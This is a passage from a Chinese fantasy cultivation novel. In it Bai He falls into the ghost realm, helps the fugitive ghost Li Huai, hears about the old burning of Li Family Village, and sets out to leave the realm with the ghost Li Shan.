天师闭着眼睛,脸色难受异常。方丈也叹口气,安慰天师说:“我们想的都很美好,哪有那么简单顺意。人为挡不住天意,早做打算吧。”
天师缓了几口气,难过的表情无以言表,缓了好一会,才看向张清,厉声说道:“我不知道说你什么好,你今晚的所作所为简直是荒唐。你那点心思我看的懂,你最好是去后山给我反省清楚。”张清低头不说话,脸上晦涩不明。
28.误入鬼修界 再遇逃罪鬼
一伙人在明光山周围找了一夜,也没有丝毫白河的踪迹。道观里,白河住的袇房也干干净净,白河来明光山的时候就没有行李,袇房里一点和白河有关的私人物件都没有,硬要算,也只有当时划伤了天师的五行剑还在天师手里。找不到白河,白水和妲菁菁也早就遁回了妖界,左右是无可奈何,方丈带着僧人回了清净寺,天师也回道观,去看张漾的伤势。
休息了一夜,张漾才醒来,看见天师,张漾委屈地抓着天师的袖子告状:“是师兄,是张清请了神降在了我身上,我当时毫无防备,不是我,天师,你替我做主啊!”
天师把张漾的手放回胸前,宽慰道:“张清心系道门,容不下那些妖成气候,那九尾妖狐有成神的机遇,所以张清才会想出这样的办法。你且理解你师兄吧。”
张漾听到后,忍着胸口的血腥味,艰难的坐直了身子,生气地说道:“修炼不就是为了成神吗?我与那九尾妖狐交过手,他修为纯正,有修炼的天赋,一看就是下了工夫修炼的,成神与否难道不是他应得的吗?师兄这是做什么?就算是嫉妒人家,也犯不着对我这样啊,请神反噬,差点要了的我命!这让我怎理解?”
天师微笑的摸了摸张漾的头,欣喜地说道:“你也有极佳的天赋!之前我只以为你是悟性好,不想也是有成神的机缘。道门修士,百年来降不下神格,你师兄修炼百年请不下神上身,本想着烧你的修为以言谶,想不到你天赋极好竟请来了天尊神格。一般道门修士强行请神,又根本抵消不了请神反噬,修为尽失,你虽然受了点伤,可修为丝毫不减,也算是你师兄弄巧成拙。”
张漾被天师说的惊大了眼睛,天师又笑眯眯的把五行剑递给张漾,说:“这剑从今天起就给你了,今后我亲自教导你。”
张漾摸不清情况,嘴巴一张一合,呆愣地拿着剑,看到是白河的剑,就想要问白河的情况,天师站起身来,摆摆手,像是知道张漾要问什么,说:“好好休息,养好伤。张清被我关了禁闭,等你好了,我让他好好补偿你。白河没死,你也不要担心。我道门希望就放在你身上了,不要再想些其他事了。”说完就走了,张漾整个人呆住,他不理解白河的剑怎么就到了自己手里,昏过去之后发生了什么,他一无所知,也不知道天师那句“白河没死”是什么意思。
白河确实没死。也没有跑到哪去,天师他们找不到白河,是因为白河阴错阳差地被佛手打进了地底鬼界,佛手压下来时,白河左右前后都已经没办法跑掉,佛手逼近,她那时就一个念头:往下能跑就好了。白河也觉得这个念头离谱,还没反应过来自己怎么有这个想法的时候,佛手就压到了脸上,眼睛下意识地闭上了,只觉得原本紧张的身体突然轻松了,身上的神力压迫感瞬间消失。再睁开眼,就到了一个从来都没来过的地方,周围终日黑暗阴森,什么也看不见。
鬼界和人界不相通,还有一道天道结界,活物进不来,死鬼也不容易出去,只有大成修士能来鬼界,极少有修为的鬼有才机会去人间。白河是活人,从天师和方丈的角度去看,也暂时算不上大成修士,就算是天星转世,也要按常理来,以他们寻常经验来说,凭白河的修为是去不了鬼界的,方丈和天师自然不会想到她去了那里,所以根本没有往这方面想。
鬼界无比黑暗,白河开了法眼才看清这里,抬头几丈就是无尽的岩壁,脚下又是看不到头的嶙峋的怪石,尖锐的石尖倒挂在头顶,触目惊心,像是一个巨大的石洞一般。白河在鬼界像个无头苍蝇,她从未来过这里,更别提怎么从这出去,现在是从哪来不知道,去哪也不知道,只能是盲目乱窜。
鬼界混沌,完全没有方位和时间的概念,白河也不知道也走了多远,走了多久,终于是看见了一群小鬼燃着鬼火押着一个鬼魂赶路,那鬼魂白河见着很眼熟,但一时想不起来。
那些小鬼并没有察觉到白河,直到白河走近拦住去路,才看见多了个人,白河走近礼貌的想要问路,可突如其来的人吓得几个小鬼直哆嗦,一个小鬼惊呼:“见鬼了,你吓死人呢!”
另一个小鬼看清了白河,对刚才一惊一乍的小鬼骂道:“瞎说什么,你就是个鬼,你死什么?哎!不对啊,她是活人!”
这话一出,还没缓过神的小鬼们又瞬间退后几步,叽叽喳喳起来:“真的是,都说鬼吓人,今天哥几个鬼还被人吓到了!”
“嘿,鬼界有人出现!是不是结界大开?我们能去人间了?”
一只小鬼仔细观察了白河,发现白河不像是大乘修士,兴奋地说:“我看这个人不错,抓起来送给鬼王尝尝鲜呐!”
几个小鬼吵吵闹闹着就要拿下白河,白河一句话都插不进去,还被吵得头疼,一挥手施法禁了他们的声音,小鬼们说不出话来,吓得呆住在原地,等到安静下来,白河这才开口说:“我又没吓你们,自己吓自己,怪我做什么。我就是来问问路,这是哪,怎么从这出去?”
被押着的鬼魂,突然望向白河,虽然发不出声,但白河看清了他的嘴形:“救救我,我能带你出去。”白河定睛看仔细了他,想起来了,是之前在绿林国除妖时,从张漾手里跑脱的那个鬼修,白河想起他能流连人间,肯定有去到人间的办法,心里也有了计划。
白河解开小鬼的声音,小鬼们也不叽叽喳喳了,看似普通的白河像是修为不低,小鬼们收敛了不少,围着白河恭恭敬敬的问到:“原来是个厉害道士,怎么来的鬼界?看这个样子是来鬼界找鬼王的?可是又有鬼修在人间作乱呐?”
总算是不那么吵闹了,白河
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松了口气,回答道:“这是鬼界啊。我不是来找鬼王的,来鬼界是意外,正想问问你们可知道怎么回人间?”
几个小鬼嘀咕了一番,才说:“我们没出去过,只有鬼王知道怎么出去,正好,我们押他去地府见鬼王,你跟我们一起去面见鬼王,不就知道办法了。”白河假意思索,实则看向那个被押着的鬼修,那鬼修用嘴形说:“别去,鬼王抓了你,肯定不会放你走。”
白河也不知道自己为什么相信他,再仔细确认这些小鬼一看就是没有什么本事,对自己造不成伤害之后,心中了然。被押着的鬼修全身缠着发着黑气的藤蔓绳子,看样子是个厉害的法器。白河也不多想,手中猛然飞出几个光点,小鬼们碰到光点来不及反应就倒地不醒。白河走近那个鬼修,仔细看了看藤蔓,伸手摸了一下,藤蔓上的黑气就立刻散尽,自己断开了,见藤蔓断开,白河才问道:“你犯了什么罪?要被押去见鬼王?”
那鬼修活动活动手脚,拉起白河就跑了起来:“小道士有两下子,快跑,你破了鬼王的藤绳,鬼王马上就追来了。”
白河被鬼修拉着乱窜,那鬼修一边跑,还一边向身后施法放出鬼影,几个鬼影四散跑开,起到了迷惑追兵的效果。鬼界的路一点也不好走,白河被拽的歪七扭八的,疾行许久,终于停在一处石墙前,鬼修左右观察了一下,确定周遭安静无人,才点了几下石墙,石墙向一堵门一样移动开,鬼修拉着白河躲进去,石墙又恢复如常。
进到石墙后,鬼修施法点了灯,白河才看清,这个石墙后面是个不大不小的山洞,山洞里套着一间古色古香的大宅子,推门进了宅子,厅堂干净整齐。鬼修在桌前坐下,招呼着白河:“累死我了,这里是我家,有点寒酸,别介意,随便坐吧。”
白河也跑累了,应声坐下,坐在了鬼修对面,问道:“鬼王干嘛追你?”
鬼修挠着头说:“他发神经,我只是去人间探亲,一点都不讲情面,要关押我。”又不好意思的对白河说:“谢过小道士了。看不出来你有点道行,怎么在绿林国就放过我了?”
白河客气地说:“你在绿林国并没有过分行为,我没有理由灭杀你,我还要请你带我回鬼界呢。”
鬼修笑嘻嘻的说道:“也是天真的人,连鬼的话都信?”
白河抿抿嘴说道:“能有什么不信的。之前不就是人间遇到的你?还想请教一下我们怎么回去?”
鬼修嘿嘿一笑:“我当然知道,但是现在你也别想了,鬼王肯定下令四处寻我们,抓到我是关押,抓到你可就不一样了,他最恨的就是和尚,道佛不分家,估计你也讨不到好果子吃。先歇着几天,等风头过了,我要再去一趟人间,正好带你一起。”
白河无语道:“我又不是道士。”
29.鬼修絮絮叨 引成年旧案
白水提起道士就心情郁结,那一架打得莫名其妙,张漾突然降神了,她怎么都没想明白。这会儿白河脑子正在飞速思考那一架的逻辑,脑海里出现了再见白水时,白水的身资模样,脑袋里灵光一闪,她把发髻散落,几下就盘梳了一个和白水一样的高马尾,体型也似乎长了些,原本还宽松的道士衣服一下子紧紧巴巴的,勒的她很不舒服。这要是让白魅看到,白魅肯定又要皱眉头,会说白水成长,白河才会学样子成长。
可那鬼修不知道,只是看呆了,又震惊又絮叨地说:“你这是什么障眼法?怎么变成道士下到鬼界?你真是够大胆的,你原本的行头在鬼界多好,是不是被什么人骗了呢?”看着白河被这身道士服勒得喘不过气,又嫌弃地说:“唉!你等等,我这里有一套女子衣服,拿给你换上。”说罢去旁边的屋子里拿出了一套衣服递给白河。
白河也不客气地接过衣服,好奇的问道:“你不是一个人?”
鬼修坐倒在椅子上,瘫着身体说:“早几百年,我还有个两个同伴,现在就剩我一个了。这是新衣服,我本来留着等他们回来穿的,等了百年,倒是等来了你,有缘呐,穿着吧。”
白河被勒得难受,就没有多问,赶紧去换了衣服。换好衣服,再出现在鬼修面前,鬼修满意地点点头说:“看起来比那什么道士精神多了,人模人样的,挺好看。”
白河穿的这身是一件黑红色锦衣,衣襟处绣着一朵百合,黑纱外衣,大小正好适合。白河指了指花纹说:“真是巧,我叫白河,这里刚好绣着一朵百合,想来我跟你同伴肯定能玩到一块去。”
鬼修看着白河,像是在看什么人一样,端详了一会才说:“她可没你这么活泼。”又叹口气说道:“我叫李槐。生前原本是李家庄的村民,我有两个从小一起玩耍的玩伴,一男一女,都姓李。这件衣服就是那个女伴的,她叫李桢。”
白河见李槐自己打开了话匣子,便自顾坐下,继续问道:“那另一个呢?李桢的衣服在这,她又去哪了?”
提起两个同伴,李槐叹气声就不止,他慢慢地坐直身体,不经意的避开了第一个问题,回答说道:“李桢轮回转世几次了,回不来了。”
白河轻轻笑着说:“轮回不是坏事,修士修炼极为辛苦,还讲机缘,走上修士的路,再想去轮回做人,就要躲过修为散尽、原神湮灭的劫。你的同伴去轮回了,应是劫后余生,怎么听你的语气还怨念?”
李槐愤愤地说道:“是这个理,她如果是修炼不精,渡不了劫去轮回,我当然开心。可她是迫不得已,被打的修为散尽才勉强轮回的啊!”
看李槐生气的样子,白河收起了笑容,看来李桢的事情好像不简单,白河默默听着。
“为人时,我们三个关系很好,每日一起形影不离,砍柴打猎农忙都彼此照应。有一天,我们在山上打猎,遇到一只受了伤的大妖,那大妖已经被追杀的穷途末路,见到我们时已是奄奄一息。许是察觉我们没有恶意,大妖变成了一只通体漆黑的猫妖,等死。李桢那会善良的很,胆子又大,替它包扎好,还藏在柴篓里带了回去。”
“那猫妖的伤势实在重,带回去不久就不行了。临死前,它为了报答我们,把自己仅剩的修为一分为三,分别渡给我们三人,帮我们打开了修仙机缘,并告诫我们把它尸身最好扔的远离村子。其他的话,猫妖也没来得及说明白就死了,只留下一具躯体。我们三人想着找个空闲时间,偷偷把它埋在山上,就先藏在了李桢家的柴房里。”
“毕竟万物有灵,还是个大妖,也没有加害我们还给了我们修炼的契机,作为人,我们只想着身后事没有不敬的道理,于是我们在山上寻了一天,才看中一处风水不错地方,正要下山去取猫妖尸身时,村里着了大火,我三人为救家人,全部殒命。”
“那场大火诡异得很,村子里人似乎都没有任何救火迹象,我三人明明看到活人,进去拉扯时,就莫名其妙被困烧死。我们身死后,因得了猫妖修为的缘故,魂魄浑浑噩噩的就到了鬼界,做起了鬼修。李桢修炼非常刻苦,势要找到村子被灭门的真凶,事情还没有眉目,你说她怎么可能放下心结去轮回?”
这段故事听起来诡异之处很多,白河都觉得不对劲,问道:“几百年了,一点线索也没有?”
李槐摇摇头苦笑着说:“一把大火烧了个干净,村里亡魂也莫名散了个干净,我们三人什么也寻不到。”
白河又问:“你说你三人进村救人,莫名其妙就被困?”
李槐身子靠近了白河一些,压低了些声音,语气中带着一丝神秘,回答道:“对,这也是我们三人觉得蹊跷的地方。李桢家隔壁的小子经常去李桢家柴房偷柴,大火时,整个村子的人都不见踪迹,没有人灭火,没有人喊叫,像是安静的在家等死,只有他从李桢家柴房往外爬,嘴里喊着‘奶奶,奶奶’,我们三个赶忙去救他,我抱着他,想先跑出去,可是怎么也躲不开火苗,李桢冲进家里查看,却见家人好好地躺着,拉他们起来,拉不动不说,还反被拉住,李桢着急呼喊,另一个同伴去帮她,他们两个人相互帮助都挣不开李桢的家人。直到大火越来越旺,我就失去了意识。”
“到鬼界后,我们越想越不对劲,别说当时唯一清醒的李小二魂找不到了,整个村子人的魂都散了个干净。思来想后,怕是那个猫大妖的缘故,我三人沾了它的修为,躲过魂魄散尽;它尸身藏在柴房,影响到李小二保持了清醒,但没能躲过大火。至此,我们基本明白是追杀猫妖的人屠了我们村,可是谁在追杀猫妖,为什么
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追杀,我们又没有头绪,只能拼命修炼,找机会去妖界问个明白。只可惜,唉……”
白河沉默了一会儿,追杀大妖是妖界能做出的事,可妖界杀大妖都只是为了修为,猫妖散尽了修为,它们夺去就好,没必要烧了整个村子的人,再说真要屠村,也理应是夺了村子里的人精魄,涨修为,而不是烧个干净,打到魂飞魄散的程度,这不符合妖界的做事风格。白河觉得李槐他们去妖界找事情真相的方向不对,可又没有其他头绪,索性也不提自己来自妖界,转了个话题问道:“那李桢是怎么去轮回的?”
李槐看着白河,眼睛里不知什么时候蓄满了泪花,声音颤抖地说道:“就差了一步,真的,就一步啊。”
“那天正值鬼节,鬼门大开,百鬼回魂,去人间访亲。鬼王吩咐我二人,不要去人间,呆在鬼界。我们人间本就没有任何亲人了,所以也都答应了下来。之前我并不住这里,原住处李桢不愿意呆,我好不容易在才找到这个不易被察觉的地方,那天出门在这里修宅子。鬼节的时候鬼界难得清净,鬼王也不会烦扰我们,我就多待了一刻钟。”
“就一刻钟。等我回去的时候,李桢三魂七魄只剩了一魂。鬼王说人间高僧做法渡化亡魂,李桢想去投胎,但去的时候,高僧正在做法,她误闯了结界,被轮回法门误伤了,差点魂飞魄散,好不容易挣脱了一丝残魄逃了回来。”
白河听到这里,察觉到一丝不对劲,插嘴道:“渡化亡魂,哪里有什么结界?高僧做法,生人修士都要避开,轮回路一旦开启,未关闭之前,周遭冤魂都会被渡化,生魂都能进去,就没有结界这个东西一说。再说,超度亡魂是佛家幸事,又怎么会打伤想要投胎的鬼?”
李槐被白河斩钉截铁的语气震慑住,不解地问:“你又不是和尚,你怎么知道?”
白河说:“我与一个天星下凡的高僧是朋友,他带我去超度亡魂时,我亲眼所见。没有结界,净化亡魂的法门温和,那些魂魄一点都不挣扎,诉说完冤屈后,也是安静地走了。而且,你的说法有一处不对,人三魂七魄少一个都无法转世投胎,你说李桢差点魂飞魄散,还挣脱了一丝残魄,更不可能,如若能挣脱一魄出来,那这个超度之法就不对。”
李槐盯着白河,眼睛动了动,喃喃地说道:“你说的我也没见过,我也不知道,这是鬼王转述给我的。”
白河疑惑的嘶了一声,又问:“李桢逃回来虽然是一缕残魄,按理说还能言语,没有跟你说什么?她这如何投胎?”
李槐咬了咬唇说:“李桢的残魄回来就只呆呆的叨念要去投胎,其余一个字都不多说,鬼王说留着她也没办法修炼了,只怕是会魂消天地间,他做法以一魄去投胎,看看还有没有生机,我也没了办法,就让鬼王安排了。”
30.鬼界寻出路 鬼王河边候
在李槐这里待了不知道多久,每日就是听李槐絮絮叨叨,说李桢的事情,白河听得耳朵都起茧子了,她也好奇地问过李槐,都说鬼修无情,不念旧往,怎么他就不一样,沉浸在过去无法自拔,李槐却像是听不出来白河话里有话,只是回答说“我如果忘了,那李家村、李桢就真的不存在了。”白河不懂李槐的坚持,也许李家村是他的心结,也许李桢是他的执念,白河也不好再劝李槐放下。
也不知就这么待了几天,时间过了有多长,李槐进出了洞穴几次,这一天,暗无天日的日子终于看到了头。李槐叫起了白河说:“鬼王寻不到我们,安生了,走吧,我带你出鬼界。”
李槐的宅子不大,来来回回也就是几间屋子,待久了就乏味了,听到能出去,白河也是心里松了口气。
“鬼界这个样子你也看到了,一会你跟着我施法疾行,不能再像之前磕磕碰碰,再引起注意,怕是不好跑脱。”李槐做临行前嘱咐,白河点头道好。一人一鬼就这么悄无声息地走出了石墙。俩人疾行赶路,话极少,一路走来,根本看不见一个活动的东西,白河忍不住问了一句:“走了也有一会了,鬼界怎么鬼修这么少?”
李槐边走边说:“百年前还算多,但是经那帮和尚几番清理,现在鬼修少得可怜,不过百余个,鬼界不算小,我们现在的地方又算不上修炼的最好地段,所以少。”
白河想不明白又问:“都说鬼修最简单,人死成鬼,他们都不修炼?”
李槐自嘲地说:“修炼?都被和尚忽悠着轮回去了,近几百年能静下来修炼的鬼寥寥无几。稍加不小心做错了事,就被打散了,永无超生,修炼哪有轮回好呢?”
白河又问:“做错事?做多大的错事要被打散呐?”
李槐放缓了脚步,认真的说:“大到害人性命,小到去人间。只要被和尚们看到了那就是被打散,除了待在鬼界,去哪都是口诛笔伐,人比鬼都没人性。”
白河闷闷的嗯了一声,李槐才停下脚步说:“我没说你,是那帮和尚道士修仙的人,莫名其妙的,对妖魔鬼怪恨之入骨,说什么都是害人的,也不分青红皂白,都是为了修神,还分个三六九等,你说何必呢。”
白河想了想说:“妖吸人精魄,鬼吸人魂魄,魔吸人精气。对人来说也确实害人,他们也不是没道理。”
李槐笑了笑:“是,你说这也是奇怪,本来都是好好吸收天地精华修炼,是谁教的以人为食呢?都忘了初心了。”
白河叹口气说:“天地精华就那么多,总会有人动歪心思罢。”
李槐跟着也叹口气:“是啊,总是有坏人的。”说罢就继续带着白河往前走。两人施法疾行,身边景色倒退的飞快,估摸着走了半天时光,两人才停下脚步,前方被一片山墙挡住,那山墙与头顶的石壁相连,隐隐能听见潺潺流水的声音。
李槐走到山壁跟前,摸索了半天,指着一处缝隙才说道:“到了,这里是鬼界一处角落。连着地上一座矮山,山上有一棵近万年的老柳树,也是巧了,这棵柳树没成精,生长万年,扎根了千米有余,竟不受天法限制,伸到了这里,我偶然发现的,附魂根上,就能顺着根出去了。”
白河面露难色,看着李槐说:“你是鬼,好附魂,我人怎么办?”
李槐继续说道:“听见流水声没有,石墙后面是暗河,水是从山上流下来的,沿着走就能出去。我是鬼,有结界困着我,我只能附身于柳树根出去。你走顺着这堵山墙走,绕过去就是阴阳河,淌过河,顺着留下的河水往上走就是了。”
白河看李槐就要准备附魂走了,赶忙问道:“那我出去之后是哪里?”
李槐回答说:“上去就离绿林国不远了。你要是没地方去,就去绿林国,绿林国里都是鬼、妖、魔都有,和尚道士倒也管不着那里。”
白河接着问道:“你也去绿林国?”
李槐笑了笑说:“是啊,我都说我了去探亲嘛,有缘你还能在那看到我。”
白河点头说:“嗯,我出去一时还没有头绪去哪,那我到时候去找你吧”
说着白河就准备继续沿着山墙往前走,李槐想了想对白河喊道:“白河,阴阳河的水是结界,碰到就法力尽失,说不定还有小鬼看守,你自己小心点。”白河摆摆手示意听到了,就走了。
白河顺着这片山墙施法疾行了一阵子,就来到山墙的尽头,绕到山墙后,果然看见了那条阴阳河。阴阳河很宽阔,但河水泛黑,没有波澜,死气沉沉的如一面镜子一般。河边没有小鬼看守,倒是站着一个一身黑衣的鬼修,白河小心的走近,鬼修似乎等了很久,回头看着她笑着说:“等了几天,才看到你。”
黑衣鬼修看起来年纪轻轻的,和李槐一般大,但气质却比李槐要有压迫感,看起来修为高于李槐不少,白河站着不动了,问道:“你是谁?阴阳河边界不是不允许鬼修靠近吗?你在等我?”
黑衣鬼修彬彬有礼,朝白河欠了欠身子,微笑着回答道:“我叫李杉,是来找李槐的,他总是躲着我。我也是没办法了,听闻你和他在一起,在找出去的路,这里刚好就能出去,所以在这等到你们。”
白河松口气,不是来找她麻烦的就行,说:“李槐没跟我一起,他去了人间,你白等了。”
李杉仍旧微笑地说:“你这不是要出去找他吗?我跟你一起就是了。”
白河对李杉的态度有些莫名的抵触,李杉似乎对李槐的情况了如指掌,李槐给她的安排他也悉数清楚,既然都知道,为什么一定要跟着她,自己去找他不好吗?于是,白河委婉的拒绝说:“你既然知道他要出去,早怎么不去拦着,知道我要去找他,怕是也知道去哪找他吧,怎么自己不去,偏要和我
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一起去呢?他若不想见你,就算你跟着我去找他,他也不见你啊”
李杉尴尬一笑,晃了晃身体说:“你是不知道,李槐于我有恨,一见面就是争生死,根本容不得我说半句话。可他一个鬼修,耗修为往返人间鬼界,每次出去都要散一部分修为。人间的诱惑多,危险也大,稍有做错事,就会被打灭。我只是想劝他回来,不要过分流连人间。他独断专行,听不进话。”又指了指白河身上的衣服说:“我看他对你倒是有耐心,这衣服是他备着好久的,我很早前就见过了。唉,我没有害你的心思,这不是,实在没办法了,所以才来寻你帮我。”
白河听懂了缘由,正了正身体,语气也好了很多,说:“我倒是好奇,他跟我聊了很多李桢,却根本不愿意提起你,你和他有什么怨仇?闹到一见面就争生死的地步?”
李杉苦笑着说:“他沉迷过往,不悟将来,不管当下。纠缠着李桢几世,闹的我们都不安生,我几次强行制住他不再去人间看李桢,却被记恨,几番下来就不死不休了。”
白河其实早就猜到李槐说去人间探亲,怕不是去看李桢,这会听李杉这么一说,也是佐证了自己想法,她点了点头,想了想又问道:“是李家村的过往吗?李桢不念了,你也不念了?”
李杉看着白河眼睛,正色道:“李家村是冤屈,可我们能有什么办法,有人记得才是奇冤,没人记得就只能是等,等到云开雾散,真相大白的时候,会有人替李家村做主。”
白河被李杉灼热的目光看的有点不习惯,扭过脸,沉思道:“你们不是等了很久吗?还没有等到替你们做主的人吗?”
李杉语气轻微波动,恭敬谦卑的说道:“快了,说不定她已经知道了,再等等就好。”
白河看着李杉模样,心中似乎有一股莫名冲动就要冲出来,她觉得李杉所说的人就是自己,而自己有能力知道这件事来龙去脉,但这股冲动来势汹涌又寻不到因果头绪,堵在胸口出不来,又慢慢地自我化解了,最终白河叹口气,说:“走吧,我们一起去找李槐,希望这次你能劝住他回到鬼界。”
李杉弯腰谢过,一挥手,阴阳河上就多出一艘精致的棚屋小船,李杉引着白河上船:“阴阳河河水是天法结界,鬼遇水则消,修士遇水法力尽失,只有天神能受得住结界。”
白河两步跨上船,问李杉:“你是鬼修,坐船是为了不遇水?那是不是所有鬼修都可以这样轻松出鬼界?”
李杉摇头说道:“不是,这船是我用修为转化的,行久了也会消散,阴阳河宽不见边,一直烧修为出去,普通修士根本熬不住过河。今天是你上船,有你坐镇,结界天法才不会剥我修为,我才会这么做。”
白河盯着李杉,那种人人都知道你是谁,偏偏你自己却不知道的烦躁感又来了,没好气地说:“你不会也要叫我一声星君吧?”